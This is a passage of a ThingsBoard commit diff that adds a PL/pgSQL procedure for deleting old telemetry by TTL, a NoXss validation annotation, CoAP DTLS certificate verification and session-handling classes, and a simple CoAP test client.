Igor Kulikov
6 years ago
76 changed files with 2170 additions and 396 deletions
@ -0,0 +1,87 @@ |
|||||
|
-- |
||||
|
-- Copyright © 2016-2021 The Thingsboard Authors |
||||
|
-- |
||||
|
-- Licensed under the Apache License, Version 2.0 (the "License"); |
||||
|
-- you may not use this file except in compliance with the License. |
||||
|
-- You may obtain a copy of the License at |
||||
|
-- |
||||
|
-- http://www.apache.org/licenses/LICENSE-2.0 |
||||
|
-- |
||||
|
-- Unless required by applicable law or agreed to in writing, software |
||||
|
-- distributed under the License is distributed on an "AS IS" BASIS, |
||||
|
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
||||
|
-- See the License for the specific language governing permissions and |
||||
|
-- limitations under the License. |
||||
|
-- |
||||
|
|
||||
|
CREATE OR REPLACE PROCEDURE cleanup_timeseries_by_ttl(IN null_uuid uuid, |
||||
|
IN system_ttl bigint, INOUT deleted bigint) |
||||
|
LANGUAGE plpgsql AS |
||||
|
$$ |
||||
|
DECLARE |
||||
|
tenant_cursor CURSOR FOR select tenant.id as tenant_id |
||||
|
from tenant; |
||||
|
tenant_id_record uuid; |
||||
|
customer_id_record uuid; |
||||
|
tenant_ttl bigint; |
||||
|
customer_ttl bigint; |
||||
|
deleted_for_entities bigint; |
||||
|
tenant_ttl_ts bigint; |
||||
|
customer_ttl_ts bigint; |
||||
|
BEGIN |
||||
|
OPEN tenant_cursor; |
||||
|
FETCH tenant_cursor INTO tenant_id_record; |
||||
|
WHILE FOUND |
||||
|
LOOP |
||||
|
EXECUTE format( |
||||
|
'select attribute_kv.long_v from attribute_kv where attribute_kv.entity_id = %L and attribute_kv.attribute_key = %L', |
||||
|
tenant_id_record, 'TTL') INTO tenant_ttl; |
||||
|
if tenant_ttl IS NULL THEN |
||||
|
tenant_ttl := system_ttl; |
||||
|
END IF; |
||||
|
IF tenant_ttl > 0 THEN |
||||
|
tenant_ttl_ts := (EXTRACT(EPOCH FROM current_timestamp) * 1000 - tenant_ttl::bigint * 1000)::bigint; |
||||
|
deleted_for_entities := delete_device_records_from_ts_kv(tenant_id_record, null_uuid, tenant_ttl_ts); |
||||
|
deleted := deleted + deleted_for_entities; |
||||
|
RAISE NOTICE '% telemetry removed for devices where tenant_id = %', deleted_for_entities, tenant_id_record; |
||||
|
deleted_for_entities := delete_asset_records_from_ts_kv(tenant_id_record, null_uuid, tenant_ttl_ts); |
||||
|
deleted := deleted + deleted_for_entities; |
||||
|
RAISE NOTICE '% telemetry removed for assets where tenant_id = %', deleted_for_entities, tenant_id_record; |
||||
|
END IF; |
||||
|
FOR customer_id_record IN |
||||
|
SELECT customer.id AS customer_id FROM customer WHERE customer.tenant_id = tenant_id_record |
||||
|
LOOP |
||||
|
EXECUTE format( |
||||
|
'select attribute_kv.long_v from attribute_kv where attribute_kv.entity_id = %L and attribute_kv.attribute_key = %L', |
||||
|
customer_id_record, 'TTL') INTO customer_ttl; |
||||
|
IF customer_ttl IS NULL THEN |
||||
|
customer_ttl_ts := tenant_ttl_ts; |
||||
|
ELSE |
||||
|
IF customer_ttl > 0 THEN |
||||
|
customer_ttl_ts := |
||||
|
(EXTRACT(EPOCH FROM current_timestamp) * 1000 - |
||||
|
customer_ttl::bigint * 1000)::bigint; |
||||
|
END IF; |
||||
|
END IF; |
||||
|
IF customer_ttl_ts IS NOT NULL AND customer_ttl_ts > 0 THEN |
||||
|
deleted_for_entities := |
||||
|
delete_customer_records_from_ts_kv(tenant_id_record, customer_id_record, |
||||
|
customer_ttl_ts); |
||||
|
deleted := deleted + deleted_for_entities; |
||||
|
RAISE NOTICE '% telemetry removed for customer with id = % where tenant_id = %', deleted_for_entities, customer_id_record, tenant_id_record; |
||||
|
deleted_for_entities := |
||||
|
delete_device_records_from_ts_kv(tenant_id_record, customer_id_record, |
||||
|
customer_ttl_ts); |
||||
|
deleted := deleted + deleted_for_entities; |
||||
|
RAISE NOTICE '% telemetry removed for devices where tenant_id = % and customer_id = %', deleted_for_entities, tenant_id_record, customer_id_record; |
||||
|
deleted_for_entities := delete_asset_records_from_ts_kv(tenant_id_record, |
||||
|
customer_id_record, |
||||
|
customer_ttl_ts); |
||||
|
deleted := deleted + deleted_for_entities; |
||||
|
RAISE NOTICE '% telemetry removed for assets where tenant_id = % and customer_id = %', deleted_for_entities, tenant_id_record, customer_id_record; |
||||
|
END IF; |
||||
|
END LOOP; |
||||
|
FETCH tenant_cursor INTO tenant_id_record; |
||||
|
END LOOP; |
||||
|
END |
||||
|
$$; |
||||
@ -0,0 +1,34 @@ |
|||||
|
/** |
||||
|
* Copyright © 2016-2021 The Thingsboard Authors |
||||
|
* |
||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); |
||||
|
* you may not use this file except in compliance with the License. |
||||
|
* You may obtain a copy of the License at |
||||
|
* |
||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
* |
||||
|
* Unless required by applicable law or agreed to in writing, software |
||||
|
* distributed under the License is distributed on an "AS IS" BASIS, |
||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
||||
|
* See the License for the specific language governing permissions and |
||||
|
* limitations under the License. |
||||
|
*/ |
||||
|
package org.thingsboard.server.common.data.validation; |
||||
|
|
||||
|
import javax.validation.Constraint; |
||||
|
import javax.validation.Payload; |
||||
|
import java.lang.annotation.ElementType; |
||||
|
import java.lang.annotation.Retention; |
||||
|
import java.lang.annotation.RetentionPolicy; |
||||
|
import java.lang.annotation.Target; |
||||
|
|
||||
|
@Retention(RetentionPolicy.RUNTIME) |
||||
|
@Target(ElementType.FIELD) |
||||
|
@Constraint(validatedBy = {}) |
||||
|
public @interface NoXss { |
||||
|
String message() default "field value is malformed"; |
||||
|
|
||||
|
Class<?>[] groups() default {}; |
||||
|
|
||||
|
Class<? extends Payload>[] payload() default {}; |
||||
|
} |
||||
@ -0,0 +1,161 @@ |
|||||
|
/** |
||||
|
* Copyright © 2016-2021 The Thingsboard Authors |
||||
|
* |
||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); |
||||
|
* you may not use this file except in compliance with the License. |
||||
|
* You may obtain a copy of the License at |
||||
|
* |
||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
* |
||||
|
* Unless required by applicable law or agreed to in writing, software |
||||
|
* distributed under the License is distributed on an "AS IS" BASIS, |
||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
||||
|
* See the License for the specific language governing permissions and |
||||
|
* limitations under the License. |
||||
|
*/ |
||||
|
package org.thingsboard.server.transport.coap; |
||||
|
|
||||
|
import lombok.Data; |
||||
|
import lombok.extern.slf4j.Slf4j; |
||||
|
import org.eclipse.californium.elements.util.CertPathUtil; |
||||
|
import org.eclipse.californium.scandium.dtls.AlertMessage; |
||||
|
import org.eclipse.californium.scandium.dtls.CertificateMessage; |
||||
|
import org.eclipse.californium.scandium.dtls.CertificateType; |
||||
|
import org.eclipse.californium.scandium.dtls.CertificateVerificationResult; |
||||
|
import org.eclipse.californium.scandium.dtls.ConnectionId; |
||||
|
import org.eclipse.californium.scandium.dtls.DTLSSession; |
||||
|
import org.eclipse.californium.scandium.dtls.HandshakeException; |
||||
|
import org.eclipse.californium.scandium.dtls.HandshakeResultHandler; |
||||
|
import org.eclipse.californium.scandium.dtls.x509.NewAdvancedCertificateVerifier; |
||||
|
import org.eclipse.californium.scandium.util.ServerNames; |
||||
|
import org.springframework.util.StringUtils; |
||||
|
import org.thingsboard.server.common.data.DeviceProfile; |
||||
|
import org.thingsboard.server.common.data.DeviceTransportType; |
||||
|
import org.thingsboard.server.common.msg.EncryptionUtil; |
||||
|
import org.thingsboard.server.common.transport.TransportService; |
||||
|
import org.thingsboard.server.common.transport.TransportServiceCallback; |
||||
|
import org.thingsboard.server.common.transport.auth.SessionInfoCreator; |
||||
|
import org.thingsboard.server.common.transport.auth.ValidateDeviceCredentialsResponse; |
||||
|
import org.thingsboard.server.common.transport.util.SslUtil; |
||||
|
import org.thingsboard.server.gen.transport.TransportProtos; |
||||
|
import org.thingsboard.server.queue.discovery.TbServiceInfoProvider; |
||||
|
|
||||
|
import javax.security.auth.x500.X500Principal; |
||||
|
import java.security.cert.CertPath; |
||||
|
import java.security.cert.CertificateEncodingException; |
||||
|
import java.security.cert.CertificateExpiredException; |
||||
|
import java.security.cert.CertificateNotYetValidException; |
||||
|
import java.security.cert.X509Certificate; |
||||
|
import java.util.Collections; |
||||
|
import java.util.List; |
||||
|
import java.util.UUID; |
||||
|
import java.util.concurrent.ConcurrentMap; |
||||
|
import java.util.concurrent.CountDownLatch; |
||||
|
import java.util.concurrent.TimeUnit; |
||||
|
|
||||
|
@Slf4j |
||||
|
@Data |
||||
|
public class TbCoapDtlsCertificateVerifier implements NewAdvancedCertificateVerifier { |
||||
|
|
||||
|
private final TbCoapDtlsSessionInMemoryStorage tbCoapDtlsSessionInMemoryStorage; |
||||
|
|
||||
|
private TransportService transportService; |
||||
|
private TbServiceInfoProvider serviceInfoProvider; |
||||
|
private boolean skipValidityCheckForClientCert; |
||||
|
|
||||
|
public TbCoapDtlsCertificateVerifier(TransportService transportService, TbServiceInfoProvider serviceInfoProvider, long dtlsSessionInactivityTimeout, long dtlsSessionReportTimeout, boolean skipValidityCheckForClientCert) { |
||||
|
this.transportService = transportService; |
||||
|
this.serviceInfoProvider = serviceInfoProvider; |
||||
|
this.skipValidityCheckForClientCert = skipValidityCheckForClientCert; |
||||
|
this.tbCoapDtlsSessionInMemoryStorage = new TbCoapDtlsSessionInMemoryStorage(dtlsSessionInactivityTimeout, dtlsSessionReportTimeout); |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public List<CertificateType> getSupportedCertificateType() { |
||||
|
return Collections.singletonList(CertificateType.X_509); |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public CertificateVerificationResult verifyCertificate(ConnectionId cid, ServerNames serverName, Boolean clientUsage, boolean truncateCertificatePath, CertificateMessage message, DTLSSession session) { |
||||
|
try { |
||||
|
String credentialsBody = null; |
||||
|
CertPath certpath = message.getCertificateChain(); |
||||
|
X509Certificate[] chain = certpath.getCertificates().toArray(new X509Certificate[0]); |
||||
|
for (X509Certificate cert : chain) { |
||||
|
try { |
||||
|
if (!skipValidityCheckForClientCert) { |
||||
|
cert.checkValidity(); |
||||
|
} |
||||
|
String strCert = SslUtil.getCertificateString(cert); |
||||
|
String sha3Hash = EncryptionUtil.getSha3Hash(strCert); |
||||
|
final ValidateDeviceCredentialsResponse[] deviceCredentialsResponse = new ValidateDeviceCredentialsResponse[1]; |
||||
|
CountDownLatch latch = new CountDownLatch(1); |
||||
|
transportService.process(DeviceTransportType.COAP, TransportProtos.ValidateDeviceX509CertRequestMsg.newBuilder().setHash(sha3Hash).build(), |
||||
|
new TransportServiceCallback<>() { |
||||
|
@Override |
||||
|
public void onSuccess(ValidateDeviceCredentialsResponse msg) { |
||||
|
if (!StringUtils.isEmpty(msg.getCredentials())) { |
||||
|
deviceCredentialsResponse[0] = msg; |
||||
|
} |
||||
|
latch.countDown(); |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public void onError(Throwable e) { |
||||
|
log.error(e.getMessage(), e); |
||||
|
latch.countDown(); |
||||
|
} |
||||
|
}); |
||||
|
latch.await(10, TimeUnit.SECONDS); |
||||
|
ValidateDeviceCredentialsResponse msg = deviceCredentialsResponse[0]; |
||||
|
if (msg != null && strCert.equals(msg.getCredentials())) { |
||||
|
credentialsBody = msg.getCredentials(); |
||||
|
DeviceProfile deviceProfile = msg.getDeviceProfile(); |
||||
|
if (msg.hasDeviceInfo() && deviceProfile != null) { |
||||
|
TransportProtos.SessionInfoProto sessionInfoProto = SessionInfoCreator.create(msg, serviceInfoProvider.getServiceId(), UUID.randomUUID()); |
||||
|
tbCoapDtlsSessionInMemoryStorage.put(session.getSessionIdentifier().toString(), new TbCoapDtlsSessionInfo(sessionInfoProto, deviceProfile)); |
||||
|
} |
||||
|
break; |
||||
|
} |
||||
|
} catch (InterruptedException | |
||||
|
CertificateEncodingException | |
||||
|
CertificateExpiredException | |
||||
|
CertificateNotYetValidException e) { |
||||
|
log.error(e.getMessage(), e); |
||||
|
} |
||||
|
} |
||||
|
if (credentialsBody == null) { |
||||
|
AlertMessage alert = new AlertMessage(AlertMessage.AlertLevel.FATAL, AlertMessage.AlertDescription.BAD_CERTIFICATE, |
||||
|
session.getPeer()); |
||||
|
throw new HandshakeException("Certificate chain could not be validated", alert); |
||||
|
} else { |
||||
|
return new CertificateVerificationResult(cid, certpath, null); |
||||
|
} |
||||
|
} catch (HandshakeException e) { |
||||
|
log.trace("Certificate validation failed!", e); |
||||
|
return new CertificateVerificationResult(cid, e, null); |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public List<X500Principal> getAcceptedIssuers() { |
||||
|
return CertPathUtil.toSubjects(null); |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public void setResultHandler(HandshakeResultHandler resultHandler) { |
||||
|
// empty implementation
|
||||
|
} |
||||
|
|
||||
|
public ConcurrentMap<String, TbCoapDtlsSessionInfo> getTbCoapDtlsSessionIdsMap() { |
||||
|
return tbCoapDtlsSessionInMemoryStorage.getDtlsSessionIdMap(); |
||||
|
} |
||||
|
|
||||
|
public void evictTimeoutSessions() { |
||||
|
tbCoapDtlsSessionInMemoryStorage.evictTimeoutSessions(); |
||||
|
} |
||||
|
|
||||
|
public long getDtlsSessionReportTimeout() { |
||||
|
return tbCoapDtlsSessionInMemoryStorage.getDtlsSessionReportTimeout(); |
||||
|
} |
||||
|
} |
||||
@ -0,0 +1,55 @@ |
|||||
|
/** |
||||
|
* Copyright © 2016-2021 The Thingsboard Authors |
||||
|
* |
||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); |
||||
|
* you may not use this file except in compliance with the License. |
||||
|
* You may obtain a copy of the License at |
||||
|
* |
||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
* |
||||
|
* Unless required by applicable law or agreed to in writing, software |
||||
|
* distributed under the License is distributed on an "AS IS" BASIS, |
||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
||||
|
* See the License for the specific language governing permissions and |
||||
|
* limitations under the License. |
||||
|
*/ |
||||
|
package org.thingsboard.server.transport.coap; |
||||
|
|
||||
|
import lombok.Data; |
||||
|
import lombok.extern.slf4j.Slf4j; |
||||
|
|
||||
|
import java.util.concurrent.ConcurrentHashMap; |
||||
|
import java.util.concurrent.ConcurrentMap; |
||||
|
|
||||
|
@Slf4j |
||||
|
@Data |
||||
|
public class TbCoapDtlsSessionInMemoryStorage { |
||||
|
|
||||
|
private final ConcurrentMap<String, TbCoapDtlsSessionInfo> dtlsSessionIdMap = new ConcurrentHashMap<>(); |
||||
|
private long dtlsSessionInactivityTimeout; |
||||
|
private long dtlsSessionReportTimeout; |
||||
|
|
||||
|
|
||||
|
public TbCoapDtlsSessionInMemoryStorage(long dtlsSessionInactivityTimeout, long dtlsSessionReportTimeout) { |
||||
|
this.dtlsSessionInactivityTimeout = dtlsSessionInactivityTimeout; |
||||
|
this.dtlsSessionReportTimeout = dtlsSessionReportTimeout; |
||||
|
} |
||||
|
|
||||
|
public void put(String dtlsSessionId, TbCoapDtlsSessionInfo dtlsSessionInfo) { |
||||
|
log.trace("DTLS session added to in-memory store: [{}] timestamp: [{}]", dtlsSessionId, dtlsSessionInfo.getLastActivityTime()); |
||||
|
dtlsSessionIdMap.putIfAbsent(dtlsSessionId, dtlsSessionInfo); |
||||
|
} |
||||
|
|
||||
|
public void evictTimeoutSessions() { |
||||
|
long expTime = System.currentTimeMillis() - dtlsSessionInactivityTimeout; |
||||
|
dtlsSessionIdMap.entrySet().removeIf(entry -> { |
||||
|
if (entry.getValue().getLastActivityTime() < expTime) { |
||||
|
log.trace("DTLS session was removed from in-memory store: [{}]", entry.getKey()); |
||||
|
return true; |
||||
|
} else { |
||||
|
return false; |
||||
|
} |
||||
|
}); |
||||
|
} |
||||
|
|
||||
|
} |
||||
@ -0,0 +1,35 @@ |
|||||
|
/** |
||||
|
* Copyright © 2016-2021 The Thingsboard Authors |
||||
|
* |
||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); |
||||
|
* you may not use this file except in compliance with the License. |
||||
|
* You may obtain a copy of the License at |
||||
|
* |
||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
* |
||||
|
* Unless required by applicable law or agreed to in writing, software |
||||
|
* distributed under the License is distributed on an "AS IS" BASIS, |
||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
||||
|
* See the License for the specific language governing permissions and |
||||
|
* limitations under the License. |
||||
|
*/ |
||||
|
package org.thingsboard.server.transport.coap; |
||||
|
|
||||
|
import lombok.Data; |
||||
|
import org.thingsboard.server.common.data.DeviceProfile; |
||||
|
import org.thingsboard.server.gen.transport.TransportProtos; |
||||
|
|
||||
|
@Data |
||||
|
public class TbCoapDtlsSessionInfo { |
||||
|
|
||||
|
private TransportProtos.SessionInfoProto sessionInfoProto; |
||||
|
private DeviceProfile deviceProfile; |
||||
|
private long lastActivityTime; |
||||
|
|
||||
|
|
||||
|
public TbCoapDtlsSessionInfo(TransportProtos.SessionInfoProto sessionInfoProto, DeviceProfile deviceProfile) { |
||||
|
this.sessionInfoProto = sessionInfoProto; |
||||
|
this.deviceProfile = deviceProfile; |
||||
|
this.lastActivityTime = System.currentTimeMillis(); |
||||
|
} |
||||
|
} |
||||
@ -0,0 +1,162 @@ |
|||||
|
/** |
||||
|
* Copyright © 2016-2021 The Thingsboard Authors |
||||
|
* |
||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); |
||||
|
* you may not use this file except in compliance with the License. |
||||
|
* You may obtain a copy of the License at |
||||
|
* |
||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
* |
||||
|
* Unless required by applicable law or agreed to in writing, software |
||||
|
* distributed under the License is distributed on an "AS IS" BASIS, |
||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
||||
|
* See the License for the specific language governing permissions and |
||||
|
* limitations under the License. |
||||
|
*/ |
||||
|
package org.thingsboard.server.transport.coap; |
||||
|
|
||||
|
import com.google.common.io.Resources; |
||||
|
import lombok.extern.slf4j.Slf4j; |
||||
|
import org.eclipse.californium.elements.util.SslContextUtil; |
||||
|
import org.eclipse.californium.scandium.config.DtlsConnectorConfig; |
||||
|
import org.eclipse.californium.scandium.dtls.CertificateType; |
||||
|
import org.eclipse.californium.scandium.dtls.x509.StaticNewAdvancedCertificateVerifier; |
||||
|
import org.springframework.beans.factory.annotation.Autowired; |
||||
|
import org.springframework.beans.factory.annotation.Value; |
||||
|
import org.springframework.boot.autoconfigure.condition.ConditionalOnExpression; |
||||
|
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; |
||||
|
import org.springframework.stereotype.Component; |
||||
|
import org.thingsboard.server.common.transport.TransportService; |
||||
|
import org.thingsboard.server.queue.discovery.TbServiceInfoProvider; |
||||
|
|
||||
|
import java.io.IOException; |
||||
|
import java.net.InetAddress; |
||||
|
import java.net.InetSocketAddress; |
||||
|
import java.net.UnknownHostException; |
||||
|
import java.security.GeneralSecurityException; |
||||
|
import java.security.cert.Certificate; |
||||
|
import java.util.Collections; |
||||
|
import java.util.Optional; |
||||
|
|
||||
|
@Slf4j |
||||
|
@ConditionalOnProperty(prefix = "transport.coap.dtls", value = "enabled", havingValue = "true", matchIfMissing = false) |
||||
|
@ConditionalOnExpression("'${transport.type:null}'=='null' || ('${transport.type}'=='local' && '${transport.coap.enabled}'=='true')") |
||||
|
@Component |
||||
|
public class TbCoapDtlsSettings { |
||||
|
|
||||
|
@Value("${transport.coap.bind_address}") |
||||
|
private String host; |
||||
|
|
||||
|
@Value("${transport.coap.bind_port}") |
||||
|
private Integer port; |
||||
|
|
||||
|
@Value("${transport.coap.dtls.mode}") |
||||
|
private String mode; |
||||
|
|
||||
|
@Value("${transport.coap.dtls.key_store}") |
||||
|
private String keyStoreFile; |
||||
|
|
||||
|
@Value("${transport.coap.dtls.key_store_password}") |
||||
|
private String keyStorePassword; |
||||
|
|
||||
|
@Value("${transport.coap.dtls.key_password}") |
||||
|
private String keyPassword; |
||||
|
|
||||
|
@Value("${transport.coap.dtls.key_alias}") |
||||
|
private String keyAlias; |
||||
|
|
||||
|
@Value("${transport.coap.dtls.skip_validity_check_for_client_cert}") |
||||
|
private boolean skipValidityCheckForClientCert; |
||||
|
|
||||
|
@Value("${transport.coap.dtls.x509.dtls_session_inactivity_timeout}") |
||||
|
private long dtlsSessionInactivityTimeout; |
||||
|
|
||||
|
@Value("${transport.coap.dtls.x509.dtls_session_report_timeout}") |
||||
|
private long dtlsSessionReportTimeout; |
||||
|
|
||||
|
@Autowired |
||||
|
private TransportService transportService; |
||||
|
|
||||
|
@Autowired |
||||
|
private TbServiceInfoProvider serviceInfoProvider; |
||||
|
|
||||
|
public DtlsConnectorConfig dtlsConnectorConfig() throws UnknownHostException { |
||||
|
Optional<SecurityMode> securityModeOpt = SecurityMode.parse(mode); |
||||
|
if (securityModeOpt.isEmpty()) { |
||||
|
log.warn("Incorrect configuration of securityMode {}", mode); |
||||
|
throw new RuntimeException("Failed to parse mode property: " + mode + "!"); |
||||
|
} else { |
||||
|
DtlsConnectorConfig.Builder configBuilder = new DtlsConnectorConfig.Builder(); |
||||
|
configBuilder.setAddress(getInetSocketAddress()); |
||||
|
String keyStoreFilePath = Resources.getResource(keyStoreFile).getPath(); |
||||
|
SslContextUtil.Credentials serverCredentials = loadServerCredentials(keyStoreFilePath); |
||||
|
SecurityMode securityMode = securityModeOpt.get(); |
||||
|
if (securityMode.equals(SecurityMode.NO_AUTH)) { |
||||
|
configBuilder.setClientAuthenticationRequired(false); |
||||
|
configBuilder.setServerOnly(true); |
||||
|
} else { |
||||
|
configBuilder.setAdvancedCertificateVerifier( |
||||
|
new TbCoapDtlsCertificateVerifier( |
||||
|
transportService, |
||||
|
serviceInfoProvider, |
||||
|
dtlsSessionInactivityTimeout, |
||||
|
dtlsSessionReportTimeout, |
||||
|
skipValidityCheckForClientCert |
||||
|
) |
||||
|
); |
||||
|
} |
||||
|
configBuilder.setIdentity(serverCredentials.getPrivateKey(), serverCredentials.getCertificateChain(), |
||||
|
Collections.singletonList(CertificateType.X_509)); |
||||
|
return configBuilder.build(); |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
private SslContextUtil.Credentials loadServerCredentials(String keyStoreFilePath) { |
||||
|
try { |
||||
|
return SslContextUtil.loadCredentials(keyStoreFilePath, keyAlias, keyStorePassword.toCharArray(), |
||||
|
keyPassword.toCharArray()); |
||||
|
} catch (GeneralSecurityException | IOException e) { |
||||
|
throw new RuntimeException("Failed to load serverCredentials due to: ", e); |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
private void loadTrustedCertificates(DtlsConnectorConfig.Builder config, String keyStoreFilePath) { |
||||
|
StaticNewAdvancedCertificateVerifier.Builder trustBuilder = StaticNewAdvancedCertificateVerifier.builder(); |
||||
|
try { |
||||
|
Certificate[] trustedCertificates = SslContextUtil.loadTrustedCertificates( |
||||
|
keyStoreFilePath, keyAlias, |
||||
|
keyStorePassword.toCharArray()); |
||||
|
trustBuilder.setTrustedCertificates(trustedCertificates); |
||||
|
if (trustBuilder.hasTrusts()) { |
||||
|
config.setAdvancedCertificateVerifier(trustBuilder.build()); |
||||
|
} |
||||
|
} catch (GeneralSecurityException | IOException e) { |
||||
|
throw new RuntimeException("Failed to load trusted certificates due to: ", e); |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
private InetSocketAddress getInetSocketAddress() throws UnknownHostException { |
||||
|
InetAddress addr = InetAddress.getByName(host); |
||||
|
return new InetSocketAddress(addr, port); |
||||
|
} |
||||
|
|
||||
|
private enum SecurityMode { |
||||
|
X509, |
||||
|
NO_AUTH; |
||||
|
|
||||
|
static Optional<SecurityMode> parse(String name) { |
||||
|
SecurityMode mode = null; |
||||
|
if (name != null) { |
||||
|
for (SecurityMode securityMode : SecurityMode.values()) { |
||||
|
if (securityMode.name().equalsIgnoreCase(name)) { |
||||
|
mode = securityMode; |
||||
|
break; |
||||
|
} |
||||
|
} |
||||
|
} |
||||
|
return Optional.ofNullable(mode); |
||||
|
} |
||||
|
|
||||
|
} |
||||
|
|
||||
|
} |
||||
@ -0,0 +1,97 @@ |
|||||
|
/** |
||||
|
* Copyright © 2016-2021 The Thingsboard Authors |
||||
|
* |
||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); |
||||
|
* you may not use this file except in compliance with the License. |
||||
|
* You may obtain a copy of the License at |
||||
|
* |
||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
* |
||||
|
* Unless required by applicable law or agreed to in writing, software |
||||
|
* distributed under the License is distributed on an "AS IS" BASIS, |
||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
||||
|
* See the License for the specific language governing permissions and |
||||
|
* limitations under the License. |
||||
|
*/ |
||||
|
package org.thingsboard.server.transport.coap.client; |
||||
|
|
||||
|
import org.eclipse.californium.core.CoapClient; |
||||
|
import org.eclipse.californium.core.CoapResponse; |
||||
|
import org.eclipse.californium.core.Utils; |
||||
|
import org.eclipse.californium.elements.DtlsEndpointContext; |
||||
|
import org.eclipse.californium.elements.EndpointContext; |
||||
|
import org.eclipse.californium.elements.exception.ConnectorException; |
||||
|
|
||||
|
import java.io.IOException; |
||||
|
import java.net.URI; |
||||
|
import java.net.URISyntaxException; |
||||
|
import java.security.Principal; |
||||
|
import java.util.concurrent.ExecutorService; |
||||
|
import java.util.concurrent.Executors; |
||||
|
|
||||
|
public class NoSecClient { |
||||
|
|
||||
|
private ExecutorService executor = Executors.newFixedThreadPool(1); |
||||
|
private CoapClient coapClient; |
||||
|
|
||||
|
public NoSecClient(String host, int port, String accessToken, String clientKeys, String sharedKeys) throws URISyntaxException { |
||||
|
URI uri = new URI(getFutureUrl(host, port, accessToken, clientKeys, sharedKeys)); |
||||
|
this.coapClient = new CoapClient(uri); |
||||
|
} |
||||
|
|
||||
|
public void test() { |
||||
|
executor.submit(() -> { |
||||
|
try { |
||||
|
while (!Thread.interrupted()) { |
||||
|
CoapResponse response = null; |
||||
|
try { |
||||
|
response = coapClient.get(); |
||||
|
} catch (ConnectorException | IOException e) { |
||||
|
System.err.println("Error occurred while sending request: " + e); |
||||
|
System.exit(-1); |
||||
|
} |
||||
|
if (response != null) { |
||||
|
|
||||
|
System.out.println(response.getCode() + " - " + response.getCode().name()); |
||||
|
System.out.println(response.getOptions()); |
||||
|
System.out.println(response.getResponseText()); |
||||
|
System.out.println(); |
||||
|
System.out.println("ADVANCED:"); |
||||
|
EndpointContext context = response.advanced().getSourceContext(); |
||||
|
Principal identity = context.getPeerIdentity(); |
||||
|
if (identity != null) { |
||||
|
System.out.println(context.getPeerIdentity()); |
||||
|
} else { |
||||
|
System.out.println("anonymous"); |
||||
|
} |
||||
|
System.out.println(context.get(DtlsEndpointContext.KEY_CIPHER)); |
||||
|
System.out.println(Utils.prettyPrint(response)); |
||||
|
} else { |
||||
|
System.out.println("No response received."); |
||||
|
} |
||||
|
Thread.sleep(5000); |
||||
|
} |
||||
|
} catch (Exception e) { |
||||
|
System.out.println("Error occurred while sending COAP requests."); |
||||
|
} |
||||
|
}); |
||||
|
} |
||||
|
|
||||
|
private String getFutureUrl(String host, Integer port, String accessToken, String clientKeys, String sharedKeys) { |
||||
|
return "coap://" + host + ":" + port + "/api/v1/" + accessToken + "/attributes?clientKeys=" + clientKeys + "&sharedKeys=" + sharedKeys; |
||||
|
} |
||||
|
|
||||
|
public static void main(String[] args) throws URISyntaxException { |
||||
|
System.out.println("Usage: java -cp ... org.thingsboard.server.transport.coap.client.NoSecClient " + |
||||
|
"host port accessToken clientKeys sharedKeys"); |
||||
|
|
||||
|
String host = args[0]; |
||||
|
int port = Integer.parseInt(args[1]); |
||||
|
String accessToken = args[2]; |
||||
|
String clientKeys = args[3]; |
||||
|
String sharedKeys = args[4]; |
||||
|
|
||||
|
NoSecClient client = new NoSecClient(host, port, accessToken, clientKeys, sharedKeys); |
||||
|
client.test(); |
||||
|
} |
||||
|
} |
||||
@ -0,0 +1,145 @@ |
|||||
|
/** |
||||
|
* Copyright © 2016-2021 The Thingsboard Authors |
||||
|
* |
||||
|
* Licensed under the Apache License, Version 2.0 (the "License"); |
||||
|
* you may not use this file except in compliance with the License. |
||||
|
* You may obtain a copy of the License at |
||||
|
* |
||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
* |
||||
|
* Unless required by applicable law or agreed to in writing, software |
||||
|
* distributed under the License is distributed on an "AS IS" BASIS, |
||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
||||
|
* See the License for the specific language governing permissions and |
||||
|
* limitations under the License. |
||||
|
*/ |
||||
|
package org.thingsboard.server.transport.coap.client; |
||||
|
|
||||
|
import org.eclipse.californium.core.CoapClient; |
||||
|
import org.eclipse.californium.core.CoapResponse; |
||||
|
import org.eclipse.californium.core.Utils; |
||||
|
import org.eclipse.californium.core.network.CoapEndpoint; |
||||
|
import org.eclipse.californium.elements.DtlsEndpointContext; |
||||
|
import org.eclipse.californium.elements.EndpointContext; |
||||
|
import org.eclipse.californium.elements.exception.ConnectorException; |
||||
|
import org.eclipse.californium.elements.util.SslContextUtil; |
||||
|
import org.eclipse.californium.scandium.DTLSConnector; |
||||
|
import org.eclipse.californium.scandium.config.DtlsConnectorConfig; |
||||
|
import org.eclipse.californium.scandium.dtls.CertificateType; |
||||
|
